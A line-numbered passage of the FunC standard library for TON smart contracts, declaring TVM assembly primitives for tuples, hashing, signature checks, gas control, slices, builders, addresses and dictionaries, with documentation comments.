33 | 34 | ;;; Returns the tail of lisp-style list. 35 | tuple cdr(tuple list) asm "CDR"; 36 | 37 | ;;; Creates tuple with zero elements. 38 | tuple empty_tuple() asm "NIL"; 39 | 40 | ;;; Appends a value `x` to a `Tuple t = (x1, ..., xn)`, but only if the resulting `Tuple t' = (x1, ..., xn, x)` 41 | ;;; is of length at most 255. Otherwise throws a type check exception. 42 | forall X -> tuple tpush(tuple t, X value) asm "TPUSH"; 43 | forall X -> (tuple, ()) ~tpush(tuple t, X value) asm "TPUSH"; 44 | 45 | ;;; Creates a tuple of length one with given argument as element. 46 | forall X -> [X] single(X x) asm "SINGLE"; 47 | 48 | ;;; Unpacks a tuple of length one 49 | forall X -> X unsingle([X] t) asm "UNSINGLE"; 50 | 51 | ;;; Creates a tuple of length two with given arguments as elements. 52 | forall X, Y -> [X, Y] pair(X x, Y y) asm "PAIR"; 53 | 54 | ;;; Unpacks a tuple of length two 55 | forall X, Y -> (X, Y) unpair([X, Y] t) asm "UNPAIR"; 56 | 57 | ;;; Creates a tuple of length three with given arguments as elements. 58 | forall X, Y, Z -> [X, Y, Z] triple(X x, Y y, Z z) asm "TRIPLE"; 59 | 60 | ;;; Unpacks a tuple of length three 61 | forall X, Y, Z -> (X, Y, Z) untriple([X, Y, Z] t) asm "UNTRIPLE"; 62 | 63 | ;;; Creates a tuple of length four with given arguments as elements. 64 | forall X, Y, Z, W -> [X, Y, Z, W] tuple4(X x, Y y, Z z, W w) asm "4 TUPLE"; 65 | 66 | ;;; Unpacks a tuple of length four 67 | forall X, Y, Z, W -> (X, Y, Z, W) untuple4([X, Y, Z, W] t) asm "4 UNTUPLE"; 68 | 69 | ;;; Returns the first element of a tuple (with unknown element types). 70 | forall X -> X first(tuple t) asm "FIRST"; 71 | 72 | ;;; Returns the second element of a tuple (with unknown element types). 73 | forall X -> X second(tuple t) asm "SECOND"; 74 | 75 | ;;; Returns the third element of a tuple (with unknown element types). 76 | forall X -> X third(tuple t) asm "THIRD"; 77 | 78 | ;;; Returns the fourth element of a tuple (with unknown element types). 79 | forall X -> X fourth(tuple t) asm "3 INDEX"; 80 | 81 | ;;; Returns the first element of a pair tuple. 82 | forall X, Y -> X pair_first([X, Y] p) asm "FIRST"; 83 | 84 | ;;; Returns the second element of a pair tuple. 85 | forall X, Y -> Y pair_second([X, Y] p) asm "SECOND"; 86 | 87 | ;;; Returns the first element of a triple tuple. 88 | forall X, Y, Z -> X triple_first([X, Y, Z] p) asm "FIRST"; 89 | 90 | ;;; Returns the second element of a triple tuple. 91 | forall X, Y, Z -> Y triple_second([X, Y, Z] p) asm "SECOND"; 92 | 93 | ;;; Returns the third element of a triple tuple. 94 | forall X, Y, Z -> Z triple_third([X, Y, Z] p) asm "THIRD"; 95 | 96 | 97 | ;;; Push null element (casted to given type) 98 | ;;; By the TVM type `Null` FunC represents absence of a value of some atomic type. 99 | ;;; So `null` can actually have any atomic type. 100 | forall X -> X null() asm "PUSHNULL"; 101 | 102 | ;;; Moves a variable [x] to the top of the stack 103 | forall X -> (X, ()) ~impure_touch(X x) impure asm "NOP"; 104 | 105 | 106 | 107 | ;;; Returns the current Unix time as an Integer 108 | int now() asm "NOW"; 109 | 110 | ;;; Returns the internal address of the current smart contract as a Slice with a `MsgAddressInt`. 111 | ;;; If necessary, it can be parsed further using primitives such as [parse_std_addr]. 112 | slice my_address() asm "MYADDR"; 113 | 114 | ;;; Returns the balance of the smart contract as a tuple consisting of an int 115 | ;;; (balance in nanotoncoins) and a `cell` 116 | ;;; (a dictionary with 32-bit keys representing the balance of "extra currencies") 117 | ;;; at the start of Computation Phase. 118 | ;;; Note that RAW primitives such as [send_raw_message] do not update this field. 119 | [int, cell] get_balance() asm "BALANCE"; 120 | 121 | ;;; Returns the logical time of the current transaction. 122 | int cur_lt() asm "LTIME"; 123 | 124 | ;;; Returns the starting logical time of the current block. 125 | int block_lt() asm "BLOCKLT"; 126 | 127 | ;;; Computes the representation hash of a `cell` [c] and returns it as a 256-bit unsigned integer `x`. 128 | ;;; Useful for signing and checking signatures of arbitrary entities represented by a tree of cells. 129 | int cell_hash(cell c) asm "HASHCU"; 130 | 131 | ;;; Computes the hash of a `slice s` and returns it as a 256-bit unsigned integer `x`. 132 | ;;; The result is the same as if an ordinary cell containing only data and references from `s` had been created 133 | ;;; and its hash computed by [cell_hash]. 134 | int slice_hash(slice s) asm "HASHSU"; 135 | 136 | ;;; Computes sha256 of the data bits of `slice` [s]. If the bit length of `s` is not divisible by eight, 137 | ;;; throws a cell underflow exception. The hash value is returned as a 256-bit unsigned integer `x`. 138 | int string_hash(slice s) asm "SHA256U"; 139 | 140 | {- 141 | # Signature checks 142 | -} 143 | 144 | ;;; Checks the Ed25519-`signature` of a `hash` (a 256-bit unsigned integer, usually computed as the hash of some data) 145 | ;;; using [public_key] (also represented by a 256-bit unsigned integer). 146 | ;;; The signature must contain at least 512 data bits; only the first 512 bits are used. 147 | ;;; The result is `−1` if the signature is valid, `0` otherwise. 148 | ;;; Note that `CHKSIGNU` creates a 256-bit slice with the hash and calls `CHKSIGNS`. 149 | ;;; That is, if [hash] is computed as the hash of some data, these data are hashed twice, 150 | ;;; the second hashing occurring inside `CHKSIGNS`. 151 | int check_signature(int hash, slice signature, int public_key) asm "CHKSIGNU"; 152 | 153 | ;;; Checks whether [signature] is a valid Ed25519-signature of the data portion of `slice data` using `public_key`, 154 | ;;; similarly to [check_signature]. 155 | ;;; If the bit length of [data] is not divisible by eight, throws a cell underflow exception. 156 | ;;; The verification of Ed25519 signatures is the standard one, 157 | ;;; with sha256 used to reduce [data] to the 256-bit number that is actually signed. 158 | int check_data_signature(slice data, slice signature, int public_key) asm "CHKSIGNS"; 159 | 160 | {--- 161 | # Computation of boc size 162 | The primitives below may be useful for computing storage fees of user-provided data. 163 | -} 164 | 165 | ;;; Returns `(x, y, z, -1)` or `(null, null, null, 0)`. 166 | ;;; Recursively computes the count of distinct cells `x`, data bits `y`, and cell references `z` 167 | ;;; in the DAG rooted at `cell` [c], effectively returning the total storage used by this DAG taking into account 168 | ;;; the identification of equal cells. 169 | ;;; The values of `x`, `y`, and `z` are computed by a depth-first traversal of this DAG, 170 | ;;; with a hash table of visited cell hashes used to prevent visits of already-visited cells. 171 | ;;; The total count of visited cells `x` cannot exceed non-negative [max_cells]; 172 | ;;; otherwise the computation is aborted before visiting the `(max_cells + 1)`-st cell and 173 | ;;; a zero flag is returned to indicate failure. If [c] is `null`, returns `x = y = z = 0`. 174 | (int, int, int) compute_data_size(cell c, int max_cells) impure asm "CDATASIZE"; 175 | 176 | ;;; Similar to [compute_data_size?], but accepting a `slice` [s] instead of a `cell`. 177 | ;;; The returned value of `x` does not take into account the cell that contains the `slice` [s] itself; 178 | ;;; however, the data bits and the cell references of [s] are accounted for in `y` and `z`. 179 | (int, int, int) slice_compute_data_size(slice s, int max_cells) impure asm "SDATASIZE"; 180 | 181 | ;;; A non-quiet version of [compute_data_size?] that throws a cell overflow exception (`8`) on failure. 182 | (int, int, int, int) compute_data_size?(cell c, int max_cells) asm "CDATASIZEQ NULLSWAPIFNOT2 NULLSWAPIFNOT"; 183 | 184 | ;;; A non-quiet version of [slice_compute_data_size?] that throws a cell overflow exception (8) on failure. 185 | (int, int, int, int) slice_compute_data_size?(cell c, int max_cells) asm "SDATASIZEQ NULLSWAPIFNOT2 NULLSWAPIFNOT"; 186 | 187 | ;;; Throws an exception with exit_code excno if cond is not 0 (commented since implemented in compilator) 188 | ;; () throw_if(int excno, int cond) impure asm "THROWARGIF"; 189 | 190 | {-- 191 | # Debug primitives 192 | Only works for local TVM execution with debug level verbosity 193 | -} 194 | ;;; Dumps the stack (at most the top 255 values) and shows the total stack depth. 195 | () dump_stack() impure asm "DUMPSTK"; 196 | 197 | {- 198 | # Persistent storage save and load 199 | -} 200 | 201 | ;;; Returns the persistent contract storage cell. It can be parsed or modified with slice and builder primitives later. 202 | cell get_data() asm "c4 PUSH"; 203 | 204 | ;;; Sets `cell` [c] as persistent contract data. You can update persistent contract storage with this primitive. 205 | () set_data(cell c) impure asm "c4 POP"; 206 | 207 | {- 208 | # Continuation primitives 209 | -} 210 | ;;; Usually `c3` has a continuation initialized by the whole code of the contract. It is used for function calls. 211 | ;;; The primitive returns the current value of `c3`. 212 | cont get_c3() impure asm "c3 PUSH"; 213 | 214 | ;;; Updates the current value of `c3`. Usually, it is used for updating smart contract code in run-time. 215 | ;;; Note that after execution of this primitive the current code 216 | ;;; (and the stack of recursive function calls) won't change, 217 | ;;; but any other function call will use a function from the new code. 218 | () set_c3(cont c) impure asm "c3 POP"; 219 | 220 | ;;; Transforms a `slice` [s] into a simple ordinary continuation `c`, with `c.code = s` and an empty stack and savelist. 221 | cont bless(slice s) impure asm "BLESS"; 222 | 223 | {--- 224 | # Gas related primitives 225 | -} 226 | 227 | ;;; Sets current gas limit `gl` to its maximal allowed value `gm`, and resets the gas credit `gc` to zero, 228 | ;;; decreasing the value of `gr` by `gc` in the process. 229 | ;;; In other words, the current smart contract agrees to buy some gas to finish the current transaction. 230 | ;;; This action is required to process external messages, which bring no value (hence no gas) with themselves. 231 | ;;; 232 | ;;; For more details check [accept_message effects](https://ton.org/docs/#/smart-contracts/accept). 233 | () accept_message() impure asm "ACCEPT"; 234 | 235 | ;;; Sets current gas limit `gl` to the minimum of limit and `gm`, and resets the gas credit `gc` to zero. 236 | ;;; If the gas consumed so far (including the present instruction) exceeds the resulting value of `gl`, 237 | ;;; an (unhandled) out of gas exception is thrown before setting new gas limits. 238 | ;;; Notice that [set_gas_limit] with an argument `limit ≥ 2^63 − 1` is equivalent to [accept_message]. 239 | () set_gas_limit(int limit) impure asm "SETGASLIMIT"; 240 | 241 | ;;; Commits the current state of registers `c4` (“persistent data”) and `c5` (“actions”) 242 | ;;; so that the current execution is considered “successful” with the saved values even if an exception 243 | ;;; in Computation Phase is thrown later. 244 | () commit() impure asm "COMMIT"; 245 | 246 | ;;; Not implemented 247 | ;;() buy_gas(int gram) impure asm "BUYGAS"; 248 | 249 | ;;; Computes the amount of gas that can be bought for `amount` nanoTONs, 250 | ;;; and sets `gl` accordingly in the same way as [set_gas_limit]. 251 | () buy_gas(int amount) impure asm "BUYGAS"; 252 | 253 | ;;; Computes the minimum of two integers [x] and [y]. 254 | int min(int x, int y) asm "MIN"; 255 | 256 | ;;; Computes the maximum of two integers [x] and [y]. 257 | int max(int x, int y) asm "MAX"; 258 | 259 | ;;; Sorts two integers. 260 | (int, int) minmax(int x, int y) asm "MINMAX"; 261 | 262 | ;;; Computes the absolute value of an integer [x]. 263 | int abs(int x) asm "ABS"; 264 | 265 | {- 266 | # Slice primitives 267 | 268 | It is said that a primitive _loads_ some data, 269 | if it returns the data and the remainder of the slice 270 | (so it can also be used as [modifying method](https://ton.org/docs/#/func/statements?id=modifying-methods)). 271 | 272 | It is said that a primitive _preloads_ some data, if it returns only the data 273 | (it can be used as [non-modifying method](https://ton.org/docs/#/func/statements?id=non-modifying-methods)). 274 | 275 | Unless otherwise stated, loading and preloading primitives read the data from a prefix of the slice. 276 | -} 277 | 278 | 279 | ;;; Converts a `cell` [c] into a `slice`. Notice that [c] must be either an ordinary cell, 280 | ;;; or an exotic cell (see [TVM.pdf](https://ton-blockchain.github.io/docs/tvm.pdf), 3.1.2) 281 | ;;; which is automatically loaded to yield an ordinary cell `c'`, converted into a `slice` afterwards. 282 | slice begin_parse(cell c) asm "CTOS"; 283 | 284 | ;;; Checks if [s] is empty. If not, throws an exception. 285 | () end_parse(slice s) impure asm "ENDS"; 286 | 287 | ;;; Loads the first reference from the slice. 288 | (slice, cell) load_ref(slice s) asm( -> 1 0) "LDREF"; 289 | 290 | ;;; Preloads the first reference from the slice. 291 | cell preload_ref(slice s) asm "PLDREF"; 292 | 293 | {- Functions below are commented because are implemented on compilator level for optimisation -} 294 | 295 | ;;; Loads a signed [len]-bit integer from a slice [s]. 296 | ;; (slice, int) ~load_int(slice s, int len) asm(s len -> 1 0) "LDIX"; 297 | 298 | ;;; Loads an unsigned [len]-bit integer from a slice [s]. 299 | ;; (slice, int) ~load_uint(slice s, int len) asm( -> 1 0) "LDUX"; 300 | 301 | ;;; Preloads a signed [len]-bit integer from a slice [s]. 302 | ;; int preload_int(slice s, int len) asm "PLDIX"; 303 | 304 | ;;; Preloads an unsigned [len]-bit integer from a slice [s]. 305 | ;; int preload_uint(slice s, int len) asm "PLDUX"; 306 | 307 | ;;; Loads the first `0 ≤ len ≤ 1023` bits from slice [s] into a separate `slice s''`. 308 | ;; (slice, slice) load_bits(slice s, int len) asm(s len -> 1 0) "LDSLICEX"; 309 | 310 | ;;; Preloads the first `0 ≤ len ≤ 1023` bits from slice [s] into a separate `slice s''`. 311 | ;; slice preload_bits(slice s, int len) asm "PLDSLICEX"; 312 | 313 | ;;; Loads serialized amount of TonCoins (any unsigned integer up to `2^128 - 1`). 314 | (slice, int) load_grams(slice s) asm( -> 1 0) "LDGRAMS"; 315 | (slice, int) load_coins(slice s) asm( -> 1 0) "LDGRAMS"; 316 | 317 | ;;; Returns all but the first `0 ≤ len ≤ 1023` bits of `slice` [s]. 318 | slice skip_bits(slice s, int len) asm "SDSKIPFIRST"; 319 | (slice, ()) ~skip_bits(slice s, int len) asm "SDSKIPFIRST"; 320 | 321 | ;;; Returns the first `0 ≤ len ≤ 1023` bits of `slice` [s]. 322 | slice first_bits(slice s, int len) asm "SDCUTFIRST"; 323 | 324 | ;;; Returns all but the last `0 ≤ len ≤ 1023` bits of `slice` [s]. 325 | slice skip_last_bits(slice s, int len) asm "SDSKIPLAST"; 326 | (slice, ()) ~skip_last_bits(slice s, int len) asm "SDSKIPLAST"; 327 | 328 | ;;; Returns the last `0 ≤ len ≤ 1023` bits of `slice` [s]. 329 | slice slice_last(slice s, int len) asm "SDCUTLAST"; 330 | 331 | ;;; Loads a dictionary `D` (HashMapE) from `slice` [s]. 332 | ;;; (returns `null` if `nothing` constructor is used). 333 | (slice, cell) load_dict(slice s) asm( -> 1 0) "LDDICT"; 334 | 335 | ;;; Preloads a dictionary `D` from `slice` [s]. 336 | cell preload_dict(slice s) asm "PLDDICT"; 337 | 338 | ;;; Loads a dictionary as [load_dict], but returns only the remainder of the slice. 339 | slice skip_dict(slice s) asm "SKIPDICT"; 340 | 341 | ;;; Loads (Maybe ^Cell) from `slice` [s]. 342 | ;;; In other words loads 1 bit and if it is true 343 | ;;; loads first ref and return it with slice remainder 344 | ;;; otherwise returns `null` and slice remainder 345 | (slice, cell) load_maybe_ref(slice s) asm( -> 1 0) "LDOPTREF"; 346 | 347 | ;;; Preloads (Maybe ^Cell) from `slice` [s]. 348 | cell preload_maybe_ref(slice s) asm "PLDOPTREF"; 349 | 350 | 351 | ;;; Returns the depth of `cell` [c]. 352 | ;;; If [c] has no references, then return `0`; 353 | ;;; otherwise the returned value is one plus the maximum of depths of cells referred to from [c]. 354 | ;;; If [c] is a `null` instead of a cell, returns zero. 355 | int cell_depth(cell c) asm "CDEPTH"; 356 | 357 | 358 | {- 359 | # Slice size primitives 360 | -} 361 | 362 | ;;; Returns the number of references in `slice` [s]. 363 | int slice_refs(slice s) asm "SREFS"; 364 | 365 | ;;; Returns the number of data bits in `slice` [s]. 366 | int slice_bits(slice s) asm "SBITS"; 367 | 368 | ;;; Returns both the number of data bits and the number of references in `slice` [s]. 369 | (int, int) slice_bits_refs(slice s) asm "SBITREFS"; 370 | 371 | ;;; Checks whether a `slice` [s] is empty (i.e., contains no bits of data and no cell references). 372 | int slice_empty?(slice s) asm "SEMPTY"; 373 | 374 | ;;; Checks whether `slice` [s] has no bits of data. 375 | int slice_data_empty?(slice s) asm "SDEMPTY"; 376 | 377 | ;;; Checks whether `slice` [s] has no references. 378 | int slice_refs_empty?(slice s) asm "SREMPTY"; 379 | 380 | ;;; Returns the depth of `slice` [s]. 381 | ;;; If [s] has no references, then returns `0`; 382 | ;;; otherwise the returned value is one plus the maximum of depths of cells referred to from [s]. 383 | int slice_depth(slice s) asm "SDEPTH"; 384 | 385 | {- 386 | # Builder size primitives 387 | -} 388 | 389 | ;;; Returns the number of cell references already stored in `builder` [b] 390 | int builder_refs(builder b) asm "BREFS"; 391 | 392 | ;;; Returns the number of data bits already stored in `builder` [b]. 393 | int builder_bits(builder b) asm "BBITS"; 394 | 395 | ;;; Returns the depth of `builder` [b]. 396 | ;;; If no cell references are stored in [b], then returns 0; 397 | ;;; otherwise the returned value is one plus the maximum of depths of cells referred to from [b]. 398 | int builder_depth(builder b) asm "BDEPTH"; 399 | 400 | {- 401 | # Builder primitives 402 | It is said that a primitive _stores_ a value `x` into a builder `b` 403 | if it returns a modified version of the builder `b'` with the value `x` stored at the end of it. 404 | It can be used as [non-modifying method](https://ton.org/docs/#/func/statements?id=non-modifying-methods). 405 | 406 | All the primitives below first check whether there is enough space in the `builder`, 407 | and only then check the range of the value being serialized. 408 | -} 409 | 410 | ;;; Creates a new empty `builder`. 411 | builder begin_cell() asm "NEWC"; 412 | 413 | ;;; Converts a `builder` into an ordinary `cell`. 414 | cell end_cell(builder b) asm "ENDC"; 415 | 416 | ;;; Stores a reference to `cell` [c] into `builder` [b]. 417 | builder store_ref(builder b, cell c) asm(c b) "STREF"; 418 | 419 | ;;; Stores an unsigned [len]-bit integer `x` into `b` for `0 ≤ len ≤ 256`. 420 | ;; builder store_uint(builder b, int x, int len) asm(x b len) "STUX"; 421 | 422 | ;;; Stores a signed [len]-bit integer `x` into `b` for` 0 ≤ len ≤ 257`. 423 | ;; builder store_int(builder b, int x, int len) asm(x b len) "STIX"; 424 | 425 | 426 | ;;; Stores `slice` [s] into `builder` [b] 427 | builder store_slice(builder b, slice s) asm "STSLICER"; 428 | 429 | ;;; Stores (serializes) an integer [x] in the range `0..2^128 − 1` into `builder` [b]. 430 | ;;; The serialization of [x] consists of a 4-bit unsigned big-endian integer `l`, 431 | ;;; which is the smallest integer `l ≥ 0`, such that `x < 2^8l`, 432 | ;;; followed by an `8l`-bit unsigned big-endian representation of [x]. 433 | ;;; If [x] does not belong to the supported range, a range check exception is thrown. 434 | ;;; 435 | ;;; Store amounts of TonCoins to the builder as VarUInteger 16 436 | builder store_grams(builder b, int x) asm "STGRAMS"; 437 | builder store_coins(builder b, int x) asm "STGRAMS"; 438 | 439 | ;;; Stores dictionary `D` represented by `cell` [c] or `null` into `builder` [b]. 440 | ;;; In other words, stores a `1`-bit and a reference to [c] if [c] is not `null` and `0`-bit otherwise. 441 | builder store_dict(builder b, cell c) asm(c b) "STDICT"; 442 | 443 | ;;; Stores (Maybe ^Cell) to builder: 444 | ;;; if cell is null store 1 zero bit 445 | ;;; otherwise store 1 true bit and ref to cell 446 | builder store_maybe_ref(builder b, cell c) asm(c b) "STOPTREF"; 447 | 448 | 449 | {- 450 | # Address manipulation primitives 451 | The address manipulation primitives listed below serialize and deserialize values according to the following TL-B scheme: 452 | ```TL-B 453 | addr_none$00 = MsgAddressExt; 454 | addr_extern$01 len:(## 8) external_address:(bits len) 455 | = MsgAddressExt; 456 | anycast_info$_ depth:(#<= 30) { depth >= 1 } 457 | rewrite_pfx:(bits depth) = Anycast; 458 | addr_std$10 anycast:(Maybe Anycast) 459 | workchain_id:int8 address:bits256 = MsgAddressInt; 460 | addr_var$11 anycast:(Maybe Anycast) addr_len:(## 9) 461 | workchain_id:int32 address:(bits addr_len) = MsgAddressInt; 462 | _ _:MsgAddressInt = MsgAddress; 463 | _ _:MsgAddressExt = MsgAddress; 464 | 465 | int_msg_info$0 ihr_disabled:Bool bounce:Bool bounced:Bool 466 | src:MsgAddress dest:MsgAddressInt 467 | value:CurrencyCollection ihr_fee:Grams fwd_fee:Grams 468 | created_lt:uint64 created_at:uint32 = CommonMsgInfoRelaxed; 469 | ext_out_msg_info$11 src:MsgAddress dest:MsgAddressExt 470 | created_lt:uint64 created_at:uint32 = CommonMsgInfoRelaxed; 471 | ``` 472 | A deserialized `MsgAddress` is represented by a tuple `t` as follows: 473 | 474 | - `addr_none` is represented by `t = (0)`, 475 | i.e., a tuple containing exactly one integer equal to zero. 476 | - `addr_extern` is represented by `t = (1, s)`, 477 | where slice `s` contains the field `external_address`. In other words, ` 478 | t` is a pair (a tuple consisting of two entries), containing an integer equal to one and slice `s`. 479 | - `addr_std` is represented by `t = (2, u, x, s)`, 480 | where `u` is either a `null` (if `anycast` is absent) or a slice `s'` containing `rewrite_pfx` (if anycast is present). 481 | Next, integer `x` is the `workchain_id`, and slice `s` contains the address. 482 | - `addr_var` is represented by `t = (3, u, x, s)`, 483 | where `u`, `x`, and `s` have the same meaning as for `addr_std`. 484 | -} 485 | 486 | ;;; Loads from slice [s] the only prefix that is a valid `MsgAddress`, 487 | ;;; and returns both this prefix `s'` and the remainder `s''` of [s] as slices. 488 | (slice, slice) load_msg_addr(slice s) asm( -> 1 0) "LDMSGADDR"; 489 | 490 | ;;; Decomposes slice [s] containing a valid `MsgAddress` into a `tuple t` with separate fields of this `MsgAddress`. 491 | ;;; If [s] is not a valid `MsgAddress`, a cell deserialization exception is thrown. 492 | tuple parse_addr(slice s) asm "PARSEMSGADDR"; 493 | 494 | ;;; Parses slice [s] containing a valid `MsgAddressInt` (usually a `msg_addr_std`), 495 | ;;; applies rewriting from the anycast (if present) to the same-length prefix of the address, 496 | ;;; and returns both the workchain and the 256-bit address as integers. 497 | ;;; If the address is not 256-bit, or if [s] is not a valid serialization of `MsgAddressInt`, 498 | ;;; throws a cell deserialization exception. 499 | (int, int) parse_std_addr(slice s) asm "REWRITESTDADDR"; 500 | 501 | ;;; A variant of [parse_std_addr] that returns the (rewritten) address as a slice [s], 502 | ;;; even if it is not exactly 256 bit long (represented by a `msg_addr_var`). 503 | (int, slice) parse_var_addr(slice s) asm "REWRITEVARADDR"; 504 | 505 | {- 506 | # Dictionary primitives 507 | -} 508 | 509 | 510 | ;;; Sets the value associated with [key_len]-bit key signed index in dictionary [dict] to [value] (cell), 511 | ;;; and returns the resulting dictionary. 512 | cell idict_set_ref(cell dict, int key_len, int index, cell value) asm(value index dict key_len) "DICTISETREF"; 513 | (cell, ()) ~idict_set_ref(cell dict, int key_len, int index, cell value) asm(value index dict key_len) "DICTISETREF"; 514 | 515 | ;;; Sets the value associated with [key_len]-bit key unsigned index in dictionary [dict] to [value] (cell), 516 | ;;; and returns the resulting dictionary. 517 | cell udict_set_ref(cell dict, int key_len, int index, cell value) asm(value index dict key_len) "DICTUSETREF"; 518 | (cell, ()) ~udict_set_ref(cell dict, int key_len, int index, cell value) asm(value index dict key_len) "DICTUSETREF"; 519 | 520 | cell idict_get_ref(cell dict, int key_len, int index) asm(index dict key_len) "DICTIGETOPTREF"; 521 | (cell, int) idict_get_ref?(cell dict, int key_len, int index) asm(index dict key_len) "DICTIGETREF" "NULLSWAPIFNOT"; 522 | (cell, int) udict_get_ref?(cell dict, int key_len, int index) asm(index dict key_len) "DICTUGETREF" "NULLSWAPIFNOT"; 523 | (cell, cell) idict_set_get_ref(cell dict, int key_len, int index, cell value) asm(value index dict key_len) "DICTISETGETOPTREF"; 524 | (cell, cell) udict_set_get_ref(cell dict, int key_len, int index, cell value) asm(value index dict key_len) "DICTUSETGETOPTREF"; 525 | (cell, int) idict_delete?(cell dict, int key_len, int index) asm(index dict key_len) "DICTIDEL"; 526 | (cell, int) udict_delete?(cell dict, int key_len, int index) asm(index dict key_len) "DICTUDEL"; 527 | (slice, int) idict_get?(cell dict, int key_len, int index) asm(index dict key_len) "DICTIGET" "NULLSWAPIFNOT"; 528 | (slice, int) udict_get?(cell dict, int key_len, int index) asm(index dict key_len) "DICTUGET" "NULLSWAPIFNOT"; 529 | (cell, slice, int) idict_delete_get?(cell dict, int key_len, int index) asm(index dict key_len) "DICTIDELGET" "NULLSWAPIFNOT"; 530 | (cell, slice, int) udict_delete_get?(cell dict, int key_len, int index) asm(index dict key_len) "DICTUDELGET" "NULLSWAPIFNOT"; 531 | (cell, (slice, int)) ~idict_delete_get?(cell dict, int key_len, int index) asm(index dict key_len) "DICTIDELGET" "NULLSWAPIFNOT"; 532 | (cell, (slice, int)) ~udict_delete_get?(cell dict, int key_len, int index) asm(index dict key_len) "DICTUDELGET" "NULLSWAPIFNOT"; 533 | cell udict_set(cell dict, int key_len, int index, slice value) asm(value index dict key_len) "DICTUSET"; 534 | (cell, ()) ~udict_set(cell dict, int key_len, int index, slice value) asm(value index dict key_len) "DICTUSET"; 535 | cell idict_set(cell dict, int key_len, int index, slice value) asm(value index dict key_len) "DICTISET"; 536 | (cell, ()) ~idict_set(cell dict, int key_len, int index, slice value) asm(value index dict key_len) "DICTISET"; 537 | cell dict_set(cell dict, int key_len, slice index, slice value) asm(value index dict key_len) "DICTSET"; 538 | (cell, ()) ~dict_set(cell dict, int key_len, slice index, slice value) asm(value index dict key_len) "DICTSET"; 539 | (cell, int) udict_add?(cell dict, int key_len, int index, slice value) asm(value index dict key_len) "DICTUADD"; 540 | (cell, int) udict_replace?(cell dict, int key_len, int index, slice value) asm(value index dict key_len) "DICTUREPLACE"; 541 | (cell, int) idict_add?(cell dict, int key_len, int index, slice value) asm(value index dict key_len) "DICTIADD"; 542 | (cell, int) idict_replace?(cell dict, int key_len, int index, slice value) asm(value index dict key_len) "DICTIREPLACE"; 543 | cell udict_set_builder(cell dict, int key_len, int index, builder value) asm(value index dict key_len) "DICTUSETB"; 544 | (cell, ()) ~udict_set_builder(cell dict, int key_len, int index, builder value) asm(value index dict key_len) "DICTUSETB"; 545 | cell idict_set_builder(cell dict, int key_len, int index, builder value) asm(value index dict key_len) "DICTISETB"; 546 | (cell, ()) ~idict_set_builder(cell dict, int key_len, int index, builder value) asm(value index dict key_len) "DICTISETB"; 547 | cell dict_set_builder(cell dict, int key_len, slice index, builder value) asm(value index dict key_len) "DICTSETB"; 548 | (cell, ()) ~dict_set_builder(cell dict, int key_len, slice index, builder value) asm(value index dict key_len) "DICTSETB"; 549 | (cell, int) udict_add_builder?(cell dict, int key_len, int index, builder value) asm(value index dict key_len) "DICTUADDB"; 550 | (cell, int) udict_replace_builder?(cell dict, int key_len, int index, builder value) asm(value index dict key_len) "DICTUREPLACEB"; 551 | (cell, int) idict_add_builder?(cell dict, int key_len, int index, builder value) asm(value index dict key_len) "DICTIADDB"; 552 | (cell, int) idict_replace_builder?(cell dict, int key_len, int index, builder value) asm(value index dict key_len) "DICTIREPLACEB"; 553 | (cell, int, slice, int) udict_delete_get_min(cell dict, int key_len) asm(-> 0 2 1 3) "DICTUREMMIN" "NULLSWAPIFNOT2"; 554 | (cell, (int, slice, int)) ~udict::delete_get_min(cell dict, int key_len) asm(-> 0 2 1 3) "DICTUREMMIN" "NULLSWAPIFNOT2"; 555 | (cell, int, slice, int) idict_delete_get_min(cell dict, int key_len) asm(-> 0 2 1 3) "DICTIREMMIN" "NULLSWAPIFNOT2"; 556 | (cell, (int, slice, int)) ~idict::delete_get_min(cell dict, int key_len) asm(-> 0 2 1 3) "DICTIREMMIN" "NULLSWAPIFNOT2"; 557 | (cell, slice, slice, int) dict_delete_get_min(cell dict, int key_len) asm(-> 0 2 1 3) "DICTREMMIN" "NULLSWAPIFNOT2"; 558 | (cell, (slice, slice, int)) ~dict::delete_get_min(cell dict, int key_len) asm(-> 0 2 1 3) "DICTREMMIN" "NULLSWAPIFNOT2"; 559 | (cell, int, slice, int) udict_delete_get_max(cell dict, int key_len) asm(-> 0 2 1 3) "DICTUREMMAX" "NULLSWAPIFNOT2"; 560 | (cell, (int, slice, int)) ~udict::delete_get_max(cell dict, int key_len) asm(-> 0 2 1 3) "DICTUREMMAX" "NULLSWAPIFNOT2"; 561 | (cell, int, slice, int) idict_delete_get_max(cell dict, int key_len) asm(-> 0 2 1 3) "DICTIREMMAX" "NULLSWAPIFNOT2"; 562 | (cell, (int, slice, int)) ~idict::delete_get_max(cell dict, int key_len) asm(-> 0 2 1 3) "DICTIREMMAX" "NULLSWAPIFNOT2"; 563 | (cell, slice, slice, int) dict_delete_get_max(cell dict, int key_len) asm(-> 0 2 1 3) "DICTREMMAX" "NULLSWAPIFNOT2"; 564 | (cell, (slice, slice, int)) ~dict::delete_get_max(cell dict, int key_len) asm(-> 0 2 1 3) "DICTREMMAX" "NULLSWAPIFNOT2"; 565 | (int, slice, int) udict_get_min?(cell dict, int key_len) asm (-> 1 0 2) "DICTUMIN" "NULLSWAPIFNOT2"; 566 | (int, slice, int) udict_get_max?(cell dict, int key_len) asm (-> 1 0 2) "DICTUMAX" "NULLSWAPIFNOT2"; 567 | (int, cell, int) udict_get_min_ref?(cell dict, int key_len) asm (-> 1 0 2) "DICTUMINREF" "NULLSWAPIFNOT2"; 568 | (int, cell, int) udict_get_max_ref?(cell dict, int key_len) asm (-> 1 0 2) "DICTUMAXREF" "NULLSWAPIFNOT2"; 569 | (int, slice, int) idict_get_min?(cell dict, int key_len) asm (-> 1 0 2) "DICTIMIN" "NULLSWAPIFNOT2"; 570 | (int, slice, int) idict_get_max?(cell dict, int key_len) asm (-> 1 0 2) "DICTIMAX" "NULLSWAPIFNOT2"; 571 | (int, cell, int) idict_get_min_ref?(cell dict, int key_len) asm (-> 1 0 2) "DICTIMINREF" "NULLSWAPIFNOT2"; 572 | (int, cell, int) idict_get_max_ref?(cell dict, int key_len) asm (-> 1 0 2) "DICTIMAXREF" "NULLSWAPIFNOT2"; 573 | (int, slice, int) udict_get_next?(cell dict, int key_len, int pivot) asm(pivot dict key_len -> 1 0 2) "DICTUGETNEXT" "NULLSWAPIFNOT2"; 574 | (int, slice, int) udict_get_nexteq?(cell dict, int key_len, int pivot) asm(pivot dict key_len -> 1 0 2) "DICTUGETNEXTEQ" "NULLSWAPIFNOT2"; 575 | (int, slice, int) udict_get_prev?(cell dict, int key_len, int pivot) 